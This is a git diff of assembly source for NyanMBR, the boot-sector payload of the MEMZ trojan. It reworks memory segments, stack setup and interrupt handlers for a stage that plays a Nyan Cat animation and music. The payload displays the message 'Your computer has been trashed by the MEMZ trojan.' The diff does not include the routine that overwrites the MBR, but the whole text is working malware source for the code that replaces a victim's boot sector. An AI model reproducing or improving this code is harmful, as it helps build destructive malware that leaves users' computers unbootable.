diff --git a/NyanMBR/Source/Stage1/decompress.asm b/NyanMBR/Source/Stage1/decompress.asm index 0e3a8a2..68a71bb 100644 --- a/NyanMBR/Source/Stage1/decompress.asm +++ b/NyanMBR/Source/Stage1/decompress.asm @@ -1,28 +1,33 @@ start: - xor bx, bx + ; Dump compressed data to segment 1000:0000 instead + mov bx, 0x1000 mov es, bx - mov ds, bx ; Read from disk mov ax, 0x0208 mov cx, 0x0002 mov dh, 0 - mov bx, compressed + xor bx, bx ; (ip: address 0) int 13h + ; Source segment DS (1000:0000) + push es + pop ds + ; Target 2000:0000 segment for uncompressed data + mov ax, 0x2000 + mov es, ax + xor ax, ax mov bx, ax mov cx, ax mov dx, ax - - mov si, compressed - mov di, decompressed - jmp readcommand + mov di, ax + mov si, ax readcommand: lodsb - cmp si, compressed+compsize + cmp si, compsize jae exit cmp al, 128 @@ -50,20 +55,23 @@ olddata: mov bx, ax lodsb + push ds + + push 0x2000 + pop ds + mov dx, si mov si, bx - add si, decompressed - mov cl, al + mov cl, al oldnextbyte: lodsb stosb - dec cl - cmp cl, 0 - jne oldnextbyte + loop oldnextbyte mov si, dx + pop ds jmp readcommand -exit: \ No newline at end of file +exit: diff --git a/NyanMBR/Source/Stage1/main.asm b/NyanMBR/Source/Stage1/main.asm index c981993..2968ee1 100644 --- a/NyanMBR/Source/Stage1/main.asm +++ b/NyanMBR/Source/Stage1/main.asm @@ -1,11 +1,28 @@ use16 org 0x7c00 -compressed: equ 0x7e00 -decompressed: equ 0x8E00 +;setup cpu + +;correct cs +jmp 0x0000:correct_cs +correct_cs: + +; setup stack properly +cli +xor ax, ax +mov ss, ax +mov sp, 0x7BF0 +sti %include "decompress.asm" ; Decompress Code & Data -jmp decompressed ; Jump to the decompressed Data, booting the actual Kernel + +; Prepare the CPU segments + +mov ax, 0x2000 +mov ds, ax +mov es, ax + +jmp 0x2000:0x0000 ; Jump to the decompressed Data, booting the actual "Kernel" ; Boot sector signature times 510 - ($ - $$) db 0 @@ -17,4 +34,4 @@ compsize: equ $-comp ; Align it to sectors ;align 512 -times 4096 - ($ - $$) db 0 \ No newline at end of file +times 4096 - ($ - $$) db 0 diff --git a/NyanMBR/Source/Stage2/Animation/Image/drawIntroFrame.asm b/NyanMBR/Source/Stage2/Animation/Image/drawIntroFrame.asm index d30970e..f7cfb01 100644 --- a/NyanMBR/Source/Stage2/Animation/Image/drawIntroFrame.asm +++ b/NyanMBR/Source/Stage2/Animation/Image/drawIntroFrame.asm @@ -1,6 +1,10 @@ drawIntroFrame: + push es + push 0xb800 + pop es + ; Increase the frame tick counter to make the intro run faster - mov byte [cs:frameTickCounter], 5 + mov byte [frameTickCounter], 5 ; Check if message is already fully displayed cmp si, messageLength @@ -9,12 +13,14 @@ drawIntroFrame: mov di, si imul di, 2 - mov byte al, [cs:si+message] + mov byte al, [si+message] mov byte [es:di], al mov byte [es:di+1], 0xf0 inc si - mov [cs:frameIndex], si + mov [frameIndex], si - .end: ret \ No newline at end of file + .end: + pop es + ret diff --git a/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm b/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm index 432a91a..cda43a0 100644 --- a/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm +++ b/NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm @@ -1,5 +1,9 @@ drawNormalFrame: - mov ax, [cs:nyanTimeBin] + push es + push 0xb800 + pop es + + mov ax, [nyanTimeBin] mov dx, 0 mov bx, 10 div bx @@ -21,6 +25,8 @@ drawNormalFrame: inc di loop .draw - mov [cs:frameIndex], si + mov [frameIndex], si - .end: ret \ No newline at end of file + .end: + pop es + ret diff --git a/NyanMBR/Source/Stage2/Animation/Image/initDrawing.asm b/NyanMBR/Source/Stage2/Animation/Image/initDrawing.asm index 45b84e9..ced2c19 100644 --- a/NyanMBR/Source/Stage2/Animation/Image/initDrawing.asm +++ b/NyanMBR/Source/Stage2/Animation/Image/initDrawing.asm @@ -1,5 +1,10 @@ initDrawing: - setVideoMemory + + ; Set the extra segment to video memory + push es + push 0xb800 + pop es + mov di, 0 mov ax, 0x00DC @@ -16,5 +21,7 @@ initDrawing: mov al, 0xDC mov cx, frameSize - nyanTimeVideoStart/2 - nyanTimeStringLen rep stosw + + pop es - ret \ No newline at end of file + ret diff --git a/NyanMBR/Source/Stage2/Animation/countNyan.asm b/NyanMBR/Source/Stage2/Animation/countNyan.asm index ca8ae66..79278be 100644 --- a/NyanMBR/Source/Stage2/Animation/countNyan.asm +++ b/NyanMBR/Source/Stage2/Animation/countNyan.asm @@ -5,9 +5,14 @@ nyanTimeVideoStart: equ 3840 nyanTimeBin dw 0 countNyan: - setVideoMemory + ; Set the extra segment to video memory + push es + push 0xb800 + pop es + + mov di, 0 - inc word [cs:nyanTimeBin] + inc word [nyanTimeBin] mov bx, nyanTimeStringLen*2 @@ -34,4 +39,6 @@ countNyan: cmp bx, 0 jne .loop - .end: ret \ No newline at end of file + .end: + pop es + ret diff --git a/NyanMBR/Source/Stage2/Animation/displayFrame.asm b/NyanMBR/Source/Stage2/Animation/displayFrame.asm index 9a5b6aa..8928443 100644 --- a/NyanMBR/Source/Stage2/Animation/displayFrame.asm +++ b/NyanMBR/Source/Stage2/Animation/displayFrame.asm @@ -4,15 +4,16 @@ frameSize: equ (80*50) / 2 ; Raw binary size of a frame lastFrame: equ special displayFrame: - setVideoMemory + ; Set the extra segment to video memory + push es + push 0xb800 + pop es + + mov di, 0 - ; Set data section - mov cx, 0 - mov ds, cx + mov si, [frameIndex] - mov si, [cs:frameIndex] - - cmp word [cs:soundIndex], lastIntroNote + cmp word [soundIndex], lastIntroNote ja .normalFrame jne .introFrame @@ -37,12 +38,14 @@ displayFrame: call drawNormalFrame ; Reset frame index when the last frame has been reached - cmp word [cs:frameIndex], lastFrame + cmp word [frameIndex], lastFrame jb .end - mov word [cs:frameIndex], frames + mov word [frameIndex], frames - .end: ret + .end: + pop es + ret %include "Animation/Image/initDrawing.asm" %include "Animation/Image/drawIntroFrame.asm" -%include "Animation/Image/drawNormalFrame.asm" \ No newline at end of file +%include "Animation/Image/drawNormalFrame.asm" diff --git a/NyanMBR/Source/Stage2/Animation/playNote.asm b/NyanMBR/Source/Stage2/Animation/playNote.asm index 87d62bf..5ce1885 100644 --- a/NyanMBR/Source/Stage2/Animation/playNote.asm +++ b/NyanMBR/Source/Stage2/Animation/playNote.asm @@ -5,11 +5,8 @@ soundIndex dw song soundWait db 0 playNote: - ; Set Data section - mov cx, 0 - mov ds, cx - mov si, [cs:soundIndex] + mov si, [soundIndex] cmp si, lastNote jb .nextNote @@ -18,8 +15,8 @@ playNote: mov si, lastIntroNote .nextNote: - dec byte [cs:soundWait] - cmp byte [cs:soundWait], -1 + dec byte [soundWait] + cmp byte [soundWait], -1 jne .end lodsw @@ -32,8 +29,8 @@ playNote: out 0x42, al shr ch, 5 - mov [cs:soundWait], ch + mov [soundWait], ch - mov [cs:soundIndex], si + mov [soundIndex], si - .end: ret \ No newline at end of file + .end: ret diff --git a/NyanMBR/Source/Stage2/Interrupts/keyboardHandler.asm b/NyanMBR/Source/Stage2/Interrupts/keyboardHandler.asm index 062e1fb..8dfdc79 100644 --- a/NyanMBR/Source/Stage2/Interrupts/keyboardHandler.asm +++ b/NyanMBR/Source/Stage2/Interrupts/keyboardHandler.asm @@ -14,4 +14,4 @@ keyboardHandler: onKey 0x1F, speedUp ; Speed up the main timer when S is pressed - finishInterrupt \ No newline at end of file + finishInterrupt diff --git a/NyanMBR/Source/Stage2/Interrupts/timerHandler.asm b/NyanMBR/Source/Stage2/Interrupts/timerHandler.asm index 0490f49..a1d7456 100644 --- a/NyanMBR/Source/Stage2/Interrupts/timerHandler.asm +++ b/NyanMBR/Source/Stage2/Interrupts/timerHandler.asm @@ -17,8 +17,8 @@ nyanTickCounter db 0 timerHandler: startInterrupt - onTimer [cs:frameTickCounter], 8, displayFrame - onTimer [cs:noteTickCounter], 12, playNote - onTimer [cs:nyanTickCounter], 10, countNyan + onTimer [frameTickCounter], 8, displayFrame + onTimer [noteTickCounter], 12, playNote + onTimer [nyanTickCounter], 10, countNyan - finishInterrupt \ No newline at end of file + finishInterrupt diff --git a/NyanMBR/Source/Stage2/Setup/setup.asm b/NyanMBR/Source/Stage2/Setup/setup.asm index 7b91850..fc526d1 100644 --- a/NyanMBR/Source/Stage2/Setup/setup.asm +++ b/NyanMBR/Source/Stage2/Setup/setup.asm @@ -7,9 +7,6 @@ mov ax, 0x1003 mov bl, 0 int 10h -; Put the stack somewhere safe -mov sp, 0x2000 - ; Setup the main timer %include "Setup/setupTimer.asm" @@ -20,4 +17,4 @@ mov sp, 0x2000 %include "Setup/setupSpeaker.asm" ; Setup the screen and Nyan Counter -call initDrawing \ No newline at end of file +call initDrawing diff --git a/NyanMBR/Source/Stage2/Utils/macros.asm b/NyanMBR/Source/Stage2/Utils/macros.asm index ec6b430..478e98e 100644 --- a/NyanMBR/Source/Stage2/Utils/macros.asm +++ b/NyanMBR/Source/Stage2/Utils/macros.asm @@ -13,16 +13,13 @@ %macro setupInterrupt 2 ; Set the right segments - mov bx, 0x0000 - mov es, bx + push ds + push 0x0000 + pop ds ; Register the handler - mov word [es:(%1+8)*4], %2 ; Interrupt Handler - mov word [es:(%1+8)*4+2], 0 ; Segment 0x0000 -%endmacro - -%macro setVideoMemory 0 - ; Set the extra segment to video memory - mov cx, 0xb800 - mov es, cx + mov word [(%1+8)*4], %2 ; Interrupt Handler + mov word [(%1+8)*4+2], 0x2000 ; Segment 0x2000 + + pop ds %endmacro diff --git a/NyanMBR/Source/Stage2/Utils/timer.asm b/NyanMBR/Source/Stage2/Utils/timer.asm index e1643f8..79c2504 100644 --- a/NyanMBR/Source/Stage2/Utils/timer.asm +++ b/NyanMBR/Source/Stage2/Utils/timer.asm @@ -3,7 +3,7 @@ currentClock dw defaultClock ; Updates the current timer value setTimer: - mov ax, [cs:currentClock] + mov ax, [currentClock] out 0x40, al mov al, ah out 0x40, al @@ -20,7 +20,7 @@ clockDiv equ 3 ; Speeds up the current timer speedUp: - mov ax, [cs:currentClock] + mov ax, [currentClock] mov bx, clockPreMul mul bx @@ -35,7 +35,7 @@ speedUp: mov ax, minClock .resetTimer: - mov [cs:currentClock], ax + mov [currentClock], ax call setTimer - ret \ No newline at end of file + ret diff --git a/NyanMBR/Source/Stage2/main.asm b/NyanMBR/Source/Stage2/main.asm index 1c1a118..020f65e 100644 --- a/NyanMBR/Source/Stage2/main.asm +++ b/NyanMBR/Source/Stage2/main.asm @@ -1,13 +1,14 @@ ; This is where the program starts after decompression use16 -org 0x8E00 +org 0 %include "Utils/macros.asm" %include "Setup/setup.asm" ; Everything should be already set up, so the only ; thing we need to do here is to wait for interrupts + haltLoop: hlt jmp haltLoop @@ -41,4 +42,4 @@ song: incbin "../../Build/song.bin" songLength: equ $-song message: db "Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat..." -messageLength: equ $-message \ No newline at end of file +messageLength: equ $-message